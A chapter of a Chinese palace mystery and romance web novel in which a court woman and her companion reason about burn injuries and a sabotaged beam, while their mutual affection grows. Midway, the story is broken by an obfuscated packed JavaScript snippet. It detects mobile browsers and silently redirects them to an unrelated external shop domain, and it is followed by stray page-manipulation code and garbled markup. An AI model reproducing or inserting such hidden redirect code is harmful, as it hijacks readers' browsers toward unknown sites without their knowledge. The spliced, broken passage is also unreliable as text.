“他那些伤,怕不是放火时烧的。”
如果潘韬真的是因为纵火,才被逆风扑来的火灼伤,倒也说得通。
可刚才在水池边,他们推导过,潘韬很可能没有纵火,是被人陷害的,也有廷尉寺的证据,那这个烧伤的原因就值得深思了。
虞捷一边思考,一边下意识地看向松桔。
目光先落在脸上,然后移到手臂、手掌,再移向胸口,接着下移到膝盖,最后向上回到喉结。
脑子里全是对真相的渴望,没有一丝多余的情涩。
但被她用炽热目光打量的松桔,心跳声却随着她的目光愈发响亮,胸口仿佛有一团火,喉咙紧得难受,呼吸愈发沉重,一种莫名其妙的冲动,接连不断地敲打着他的理智,让他想转身,却又迈不开步伐。
“到底是什么动作会烧成这样......”她喃喃自语,又绕着松桔走了两圈。
“肯定是蹲在地上放火吧。”涂文礼听到了她的低语,浑然忘了自己还在站岗,将长枪的长柄往腋下一夹,双手朝前伸去,模拟抱书的动作,“火在眼前,怀里揣着书简,蹲在地上,然后——”
“——等下!”虞捷突然出声,音量没控制好,吓了两人一跳。她赶紧将声音恢复到往常,顶着微红的耳朵尖,道,“你是说,他蹲在地上,面朝火焰?”
“嗯,然后往火堆里添书,结果风向一转,燃起的大火扑向自己,被烧了个彻底。不然怎么会烧到正脸和前胸。”
“若是那样,他的脸上应该会有清晰的烧伤,哪怕过去一个月,也该有明显的痕迹。”
虞捷飞快地回忆着前一晚在牢里见到的潘韬。
尽管当时牢里只有烛灯作为光源,光线昏暗,但潘韬接过麦饼时,一度离她很近,她有看到他的脸。
大约是好几天没有梳洗清理,头发和胡子都拧成一团,那张脸上并没有特别夺目的伤痕。
“你这么一说,确实,一个月时间能消失得差不多,应该只是轻伤,但他当时为什么脸部会有烧伤呢?”松桔也开始思考这个问题。
“可能是火扑上来后就立刻闪开了?”涂文礼猜测。
“不对。对了,还没和你说刚才的事情。”
虞捷快速地讲了水池边得到的结论,涂文礼睁大眼睛,半天没回过神。
“潘中书可能连纵火都没干?这件事廷尉寺也知道?知道还要抓他?”
一连三个问题,涂文礼震惊地接不出更多的话。
“从刚才的结论来看,确实如此。”
趁着松桔和涂文礼说话的空档,虞捷模仿了一遍涂文礼刚才的动作。
蹲下身,双手朝前伸出,像是抱着什么东西。
如果不是纵火的时候被火扑面,在什么情况下,脸、胸、手臂内侧会被......
保持着双手向前伸出的动作,她突然停住了,一动不动,就好像自己正抱着的不是书简,而是,真相。
“怎么了?”
“有没有可能,他抱着的不是书简,是人?”她猛地看向旁边的两人,“还记得吗!暨尚书明明是死在书柜下,却被人为拖到了房梁下方。嘉树,你还记得我当时怎么说的吗?就是,我给我和文礼证明清白的时候说的。”
松桔怎么会忘记,她说出那句话时,双眼闪闪发光,那一刻的模样,他记了好久。只是想到她闪光的理由就在旁边——涂文礼听到她的这句话时,瞬间将惊喜的目光投在她的身上。
——说话的语气带了几分不愉快:“你说,有其他人发现了暨尚书,但没有发现暨尚书的伤,以为他只是被砸晕,想将他带出现场,在经过房梁时却出现意外,暨尚书被砸中,这个人以为是自己害死了暨尚书,怕被当成凶手抓起来。所以不敢出来作证。”
“没错!”她兴奋地一捏拳头,“但如果,当时进入御书房救暨尚书的,就是潘中书呢?他以为是自己烧书的火没灭干净,引起火灾,想要弥补过错,于是进入火场,没想到发现了被压在书柜下的暨尚书,想带他离开,房梁又断裂了。害怕暨尚书是因为自己选择的路线导致的死亡,害怕自己罪加一等,他本来就心虚,所以不敢出现!”
“但如果是这样,”涂文礼忽然想到了新的问题,“负责修缮的工匠就没做好啊。我记得起火的前两周,工匠队还派人去定期修缮。御书房存放着大量的各地文书,里外用的木材都是最好的,其他的部分,那一根却断了,这修缮维护肯定没好好做。”
这句话又点亮了虞捷心底的一处灯。
“对哦,既然山中寺的粮仓到了深秋都要修缮,那御书房到了深秋,自然也要做修缮。刚做完修缮,房梁却还是断了。说不定是被人动了手脚!”说完,她猛地拉住松桔的衣袖,大步往御书房的方向带,发间的梅花簪子晃晃悠悠,“我们得再去御书房查查。文礼,下次见!”
意识到自己离真相越来越近,原本拧在胸口、缠在脑海的情绪逐渐疏通,虞捷的心情越来越好,头发上的梅花簪子轻轻晃动,悬挂的小梅花随着她的脚步摇来晃去,晃得身后的人入神。
可一想到这发簪是对她有意的男人送的,那人又莫名烦躁起来。
“小涂是什么时候送你的簪子?”
“昨天,”她心情颇好地回眸解释,“昨天我们一起回家的时候,我就戴着呢。”
松桔的眉头瞬间皱紧,昨天还以为是她自己的旧物,没想到是涂文礼送的。
他都还没给她送过发簪!
送什么梅花,一点都不配她。
酸意顺着喉咙往上冒,牙都痛了。
“也对,你也救过小涂,是他救命恩人。”他勉强压下心里的酸涩,故作平静。
“吃味了?”虞捷却眨着眼睛,怀着期待打趣。
实际上,她刚才不是没察觉这俩男人间微妙的、争锋相对的氛围。
只是她觉得让松桔有点危机感是好事,她可是为了他,连涂文礼那么好的男人都拒绝了呢。
嗯?为了他?
虞捷呼吸一滞,仿佛刚刚回过神。
她为什么要为了松桔拒绝涂文礼?为什么要让松桔有危机感?他对她来说,对她来说……对她来说……这不就是……
可他对自己,也是如此吗?
在她纠结之余,他的回答随之而来:“吃不吃味的,我说过会对你负责,自然要了解你周围的男人们都是什么样的人。”
“怎么还记着这件事。”说归说,虞捷的心底却跃上了喜悦,叫嚣着,还好他还记得这件事,但发出的声音,却轻如蚊呐,“那你要好好负责哦。”
心跳随着情愫的翻涌,越来越快,脸颊快速开始泛红。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728985|206323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
丝毫没发现,在她的这句话后,松桔的脚步越来越慢,几乎完全落在她的身后。
脸红得跟被火烧过一样。
负责,负责,她要他负责。
那不就是说,她愿意,她同意,这孩子她、她知道自己在说什么吗?
孩子?孩子?他管十九岁、马上二十岁的姑娘叫“孩子”?
她都及笄多久了,就比自己小两三岁,还孩子。若不是在宫里当差,她都该嫁人成亲了,没准连自己的孩子都有了。不出意外的话,对方多半会是和她青梅竹马、同为老乡的涂文礼。
嫁人……成亲……孩子……
想到她或许会和别人成为夫妻,酸楚的情感就要将他吞没,几乎要无法呼吸。
可他为什么会这么难受?她呢?若是他和别人成亲,她也会难受吗?
诡异的是,他突然发现,自己好像无法想象出,和虞捷之外的人成亲的场面。
越是思考,就越是混乱。
希望能有人给他答案,又不希望被人知道他的心思,心情乱得一塌糊涂。
仔细一想,自认识来,她对他蛮任性的,他确实也挺溺爱她的。
哪怕不考虑合欢香的事情,他也自觉会如此。
她需要他照顾,没了他不行。
之前她没有同意,但现在她同意了,那他这个,因为“合欢香”而对她失礼的男人,自然应该负责到底。
“嗯。”他在她的身后,微乎其微地应了一声,“我会负责的。”
她的脚步一顿,小拇指朝他的方向勾了勾,半天没碰到人,不满地回头看去,他这才快步跟上。
一如往常般,她拉住他的衣袖。
但气氛,却变得不同。
不知不觉,御书房的残骸出现在眼前。曾经戒备森严、生人勿进的偌大建筑,如今空空荡荡,只剩下骨架屹立不倒。
踏入其中时,曾经的仆役们的掉落物和烧毁的书简已被清理,唯有那根断裂的房梁还留在原地。
仔细一想,上次进入不过一个多月前,从一个每日都有中书进入的地方,到现在人去楼空,仅间隔了一场大火。
惆怅的心情代替了一路上的雀跃,她收拾好心情,松开松桔的手,正要着手调查。
突然,一个男人的声音从身后传来,打破了沉寂:“你是......仲翔的女儿?”
虞捷看向声音的源头,出现的是个身着藏青色官服、面容和蔼的四十多岁的中年男人。
“仲翔是谁?”她困惑地歪了歪脑袋。
“姑娘不知道吗?那可能是我看错了,抱歉,冒犯姑娘了,”男人似乎这才看清她的模样,摇摇头,语气里带着几分怅然,“你长得有几分像我一个熟人。也是,他全家都被流放交州二十年了,怎么会有女儿留在武昌呢?”
潜意识中,虞捷隐隐觉得这个男人说的“仲翔”,可能就是她的生父。只要她愿意,她就能知道她的生父是什么样的人。
好奇心像只毛茸茸的小猫,在心底挠来挠去。
可最终还是忍住了。
“请问您是?”虞捷岔开了话题,礼貌地问道。
“我来接替暨尚书,皇后殿下召见我于今日去见她,途中路过御书房,没忍住,来看看。抱歉,我看姑娘像我熟人,我该去复命了。”